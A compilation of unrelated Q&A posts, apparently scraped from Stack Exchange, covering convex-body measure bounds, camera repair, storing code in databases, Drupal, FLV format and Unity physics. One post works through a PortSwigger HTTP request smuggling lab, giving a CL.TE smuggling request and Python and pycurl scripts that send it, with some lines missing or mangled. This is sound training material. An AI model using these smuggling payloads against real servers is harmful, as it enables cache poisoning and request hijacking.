## measure concentration – Upper bound \$tau_C := int_{|x| le 1}(vol(C cap (x + C))/vol(C))dx\$ for a convex body \$C subseteq mathbb R^n\$, by reducing to a ball

Let $$C$$ be a convex body in $$mathbb R^n$$, i.e a bounded convex subset of $$mathbb R^n$$ which has nonempty interior, and which is (A) open, or (B) closed (I’m not sure one makes more sense; choose the one which works best for you). Consider the number $$tau_C in (0, 1)$$ defined by

$$tau_C := frac{1}{omega_n}int_{|x| le 1}frac{vol(C cap (x + C))}{vol(C)}dx = frac{1}{omega_n}int_{|x| le 1}mu_C(x + C)dx,$$
where $$omega_n$$ is the volume of the unit ball in $$mathbb R^n$$ and $$mu_C$$ is the uniform measure of $$C$$. In general, estimating $$tau_C$$ would be challenging, since $$C$$ can be very arbitrary. An exception is when $$C$$ is euclidean ball. The goal is then to obtain good upper-bounds on $$tau_C$$.

The baseline approach. Let $$C’$$ be the Steiner symmetrization of $$C$$ w.r.t a coordinate axis. In this post (claim 4; also see comments under the question), it was shown that $$tau_C le tau_{C’}$$. On the other hand, it is well-known that $$C$$ can be symmetrized into a ball $$B$$ of same volume as $$C$$, via a process $$C rightarrow C’ rightarrow ldots rightarrow C^{(k)} rightarrow ldots rightarrow B$$ (which is convergent in Hausdorff topology), it follows that $$tau_C le tau_B$$.

• Is there an alternative way to establish that $$tau_C le tau_B$$ (where $$B$$ is a ball of same volume as $$C$$) without using Steiner symmetrization, but perhaps, using another mapping / process. Can this be done using, for example the Brenier map between $$C$$ and $$B$$ ?
• N.B.: Breniers map because, after all, such maps are used to transfer isoperimetric to proof the minimality of the, say, the surface of a ball (via Brunn-Minkowski), and so may they might also be of help here.
• Is there perhaps a way to directly upper bound $$tau_C$$ as a function of its volume ?

## Nikon F100 body – camera back latch repair solutions?

I have a Nikon F100 body that needs a back repair.

For those not in the know, Nikon abandoned its use of solid metal latches (that were highly durable) in favour of a lighter plastic latch. Over time, these latches or tabs weaken and can eventually break. Both of mine broke after having the camera in storage for a few years, so I think they just failed with age or else were about to fail when the camera was stored.

It is possible to buy used camera backs from a famous auction site or other sources, but they are likely to eventually fail as well.

I know that Nikon, at one time, did repair this fault but I am unsure if they used any upgraded parts. In any event, these parts are no longer available from Nikon.

What options are there to durably repair the back so that the camera will function again? I don’t want to use ugly options like duct tape – I want to be able to properly close the back again. I’d ideally like to find a solution that upgrades the strength of the latches so that they will last the remaining lifespan of the camera.

While I’m personally seeking repair shops or options that I can arrange to have done, I’m open to hearing suggestions that involve self-repair in order to make this question more useful in the archive.

## design – Storing a function body inside a database table

Let us say that for a web application, inside the source code of the app you created a function called `calculateAmount`. Inside the
web app, you need to call that function.

But for some reason, due to the need for ‘automation’, you want the
app itself to ‘think for itself’, at which stage of the program, which function need to be executed.

For example, when a user of the app is perfoming ‘Action A’, the function `calculateAmount` is called. When user of the app is performing ‘Action B’, another function `calculateTax` is called.

First idea: For the effect of ‘automation’, I was taught that one can simply store the function names `calculateAmount`, `calculateTax` inside a database table. Then when the web app is running, at different stages of execution, your web app makes a call to the database in order to know which function need to be invoked, based on the result you get from the database table.

Second idea: Just as an example we say `calculateAmount` is a javascript function like the one below:

``````function calculateAmount(paramA,paramB){
return paramA + (5/100) + paramB;
}
``````

Again, because of ‘automation’, I was taught that one can simply store the function body `return paramA + (5/100) + paramB;` inside a database table. Then the web app can simply ‘think for itself’ and when it needs to call the `calculateAmount` function, the web app makes a call to the database, and retrieve the function body
from the database table and can execute any function whenever the correct situation arises.

My question is whether the above two ideas is very commonly practiced? Is there a situation where the above practices can have a negative impact on the performance of the database or the web app?

EDIT:
And the overall picture that someone was trying to promote to me is that you can store many things inside a database.If a software developer can do this well enough, there is less reliance for developer(s) to write source code. This is because, configurations,name of function, function body can be stored in a database. Instead of relying on many developer(s) to write source code, you can rely on the software to think for itself at which point of time what source code should be executed and retrieve it from the database accordingly.

## sql server – Storing a function’s name and body for a computer program inside a database table

Let us say that for a web application, inside the source code of the app you created a function called `calculateAmount`. Inside the
web app, you need to call that function.

But for some reason, due to the need for ‘automation’, you want the
app itself to ‘think for itself’, at which stage of the program, which function need to be executed.

For example, when a user of the app is perfoming ‘Action A’, the function `calculateAmount` is called. When user of the app is performing ‘Action B’, another function `calculateTax` is called.

First idea: For the effect of ‘automation’, I was taught that one can simply store the function names `calculateAmount`, `calculateTax` inside a database table. Then when the web app is running, at different stages of execution, your web app makes a call to the database in order to know which function need to be invoked, based on the result you get from the database table.

Second idea: Just as an example we say `calculateAmount` is a javascript function like the one below:

``````function calculateAmount(paramA,paramB){
return paramA + (5/100) + paramB;
}
``````

Again, because of ‘automation’, I was taught that one can simply store the function body `return paramA + (5/100) + paramB;` inisde a database table. Then the web app can simply ‘think for itself’ and when it needs to call the `calculateAmount` function, the web app makes a call to the database, and retrieve the function body
from the database table and can execute any function whenever the correct situation arises.

My question is whether the above two ideas is very commonly practiced? I wanted to know if the two ideas above affect the performance of the database or the web app?

## physics – Can I hang a heavy lens vertically from the body?

I recently purchased a Cotton Carrier system which uses a clip to hang the camera vertically from the chest area. I am using this with a D500 and a 200-500 lens, which has a tripod foot. When I am using a tripod, naturally I use the Arca-Swiss mount to attach the tripod foot to the tripod. However with the Cotton Carrier, it would keep the camera closer to my body and more stable if I could attach their clip to the body rather than then lens.

Is this an acceptable way to carry a body+lens? I understand it would not be a good idea if the lens were held out horizontally from the camera, but I don’t know the physics of it if the lens is vertical underneath the body. It is a different direction of force, but I am unsure if it is worse/better.

## 8 – Body not displayed

Article Body is not displayed in the frontpage. (teaser view mode).
Article Body is not displayed in node view (full content view mode).
Body is only visible in preview.

### Steps to reproduce

• `composer create-project drupal/recommended-project my_site`
• Access and install the site with standard configuration installation profile
• Create a new Article entering title and body

The site is using PHP 7.3.9 and Drupal 8.8.6; it runs on macOS 10.14.

Extra info
In all other Drupal installations I have currently (8.8.5) happens the same error.
Tried setting the Trimmed limit: 300 characters in Manage Display for Teaser mode.
It may have to do with text formatting as plain text displays properly.

## curl – Python Script POST Body Containing CRLF Characters and Malformed Headers. HTTP Request Smuggling

Lately I have been attempting Portswiggers WebSecAcademy’s HTTP request smuggling labs with the additional challenge of writing a python script to complete the challenge for me.

Intended solution from Burp Repeater:

``````POST / HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
Connection: close
Content-Length: 10
Transfer-Encoding: chunked

0

G
``````

If you right click and select ‘Copy as curl command’:

``````curl -i -s -k -X \$'POST'
-H \$'Host: ac011f9b1f7e242780ce2272008a009d.web-security-academy.net' -H \$'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0' -H \$'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H \$'Accept-Language: en-US,en;q=0.5' -H \$'Accept-Encoding: gzip, deflate' -H \$'Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te' -H \$'Connection: close' -H \$'Upgrade-Insecure-Requests: 1' -H \$'Content-Length: 8'
--data-binary \$'0x0dx0ax0dx0aGx0dx0ax0dx0a'
``````

When attempting this with Curl, it returns 500 internal server error.

I have managed to complete this using the Python requests module:

``````def POST_CLTE():
'Content-Type':'application/x-www-form-urlencoded','Content-Length':'8', 'Transfer-Encoding':'chunked'}

data = '0x0dx0ax0dx0aGx0dx0a'

s = requests.Session()
prepared = r.prepare()
response = s.send(prepared)

print(response.status_code)
print(response.text)
``````

But I don’t like that I have to pass the header in as a dict and it complains when I want to include an obfuscated header such as:

``````X: X(n)Transfer-Encoding: chunked
``````

I’ve attempted to reproduce the request using PyCurl:

``````#!/usr/bin/python

import pycurl
from StringIO import StringIO

buffer = StringIO()
c = pycurl.Curl()
c.setopt(c.POST, 1)
c.setopt(c.POSTFIELDS, '0x0dx0ax0dx0aGx0dx0a')
#c.setopt(pycurl.POSTFIELDSIZE, 8)
'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0',
'Content-Length: 8',
'Transfer-Encoding: chunked',
'Content-Type: application/x-www-form-urlencoded'
))
#c.setopt(c.CRLF, 1)
c.setopt(c.VERBOSE, 1)
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()

body = buffer.getvalue()

print(body)
``````

I like that I can pass the headers as an array of strings, but I unfortunately still get 500 internal server error:

``````*   Trying 18.200.141.238:443...
* TCP_NODELAY set
* Connected to ac561fd21ed819768081009200f2002e.web-security-academy.net (18.200.141.238) port 443 (#0)
* found 387 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
*        server certificate verification OK
*        server certificate status verification SKIPPED
*        server certificate expiration date OK
*        server certificate activation date OK
*        certificate public key: RSA
*        certificate version: #3
*        start date: Fri, 05 Jul 2019 00:00:00 GMT
*        expire date: Wed, 05 Aug 2020 12:00:00 GMT
*        issuer: C=US,O=Amazon,OU=Server CA 1B,CN=Amazon
* ALPN, server did not agree to a protocol
> POST / HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 8
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

8
* upload completely sent off: 15 out of 8 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 Internal Server Error
< Content-Type: application/json; charset=utf-8
< Connection: close
< Content-Length: 23
<
* Closing connection 0
HTTP/1.1 500 Internal Server Error
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 23

"Internal Server Error"
``````

What is the reason for this behaviour? Are there any alternatives I haven’t explored? Any suggestions are much appreciated.

## How to physically move a rigid body on stairs?

When an object is controlled by a CharacterController, it is easy to make it climb ramps with a certain slope, or climb steps with a certain height.

When the object is controlled by a RigidBody instead, it can still climb naturally on ramps – I just use AddForce and it works on ramps like on any other surface. I don't need to add any special logic for a ramp. However, it does not go up the stairs. Is there a natural "physical" way of climbing RigidBody stairs without explicitly checking that there are stairs in front of you?

## decode – Why does the body of the flv file use PreviousTagSize rather than NextTagSize?

The flv structure is like this:

``````FLV header
PreviousTagSize0 - Always 0
Tag1
PreviousTagSize1 -  For FLV version 1, this value is 11 plus the DataSize of the previous tag.
Tag2
...
PreviousTagSizeN-1 - Size of second-to-last tag
TagN(FLVTAG Last tag)
PreviousTagSizeN - Size of last tag
``````

why not like this:

``````FLV header
NextTagSize0 - Tag1 size
Tag1
NextTagSize1 - Tag2 size
Tag2
...
NextTagSizeN - Size of last tag
TagN(FLVTAG Last tag)
``````

I think NextTagSize is more convenient for decoding!

## unit – Rotate the rigid body with an angular momentum and a direction towards the target

I create a skier game in which the user can spin freely in the air depending on the input.

Roughly:

``````        Vector3 pitchTorque = input.pitch * pitchPower * transform.right;

Vector3 yawTorque = input.yaw * airtimeRotationPower * transform.up;

``````

Now that the user is approaching the ground, the skier can be upside down or face sideways.

To make the landing smoother, I want the skier's rotation to automatically correct itself as it approaches the ground, so that the front or the back (which is closest – as a skier can land with the back as before) faces the direction of the current speed and the top, being the same as the normal ground. However, to get to this specific target rotation, I don't necessarily want the closest path, but the rotation path that has the current speed and direction of rotation in mind.

Here is what I have now:

``````// A value that ranges from 0-1 where 1 is very close to the ground and 0 is far.
float groundDistanceFactor = this.getGroundDistance();
// The current ground normal below the skier
Vector3 groundNormal = this.getGroundNormal();

Vector3 forwardDirection = transform.forward;
forwardDirection.y = 0;
float useForward = 1;
if (forwardFactor <= 0) {
useForward = -1;
}

Vector3 target = rb.velocity * useFoward;
target = Vector3.ProjectOnPlane(target, groundNormal);
Quaternion targetRotation = Quaternion.LookRotation(target, groundNormal);

transform.rotation = Quaternion.Slerp(
transform.rotation, targetRotation,
10f * groundDistanceFactor * Time.fixedDeltaTime);

``````

It works a bit, but Quaternion.Slerp spins with the path closest to targetRotation, which is not what I want, because if the skier turns in one direction, it can cause the skier to suddenly rotate against the current angular impulse, which gives it an unnatural appearance.

I would like that if for example the skier turns anti-clockwise (on a given axis), he continues to turn in this direction until the targetRotation.

How can I achieve something like this?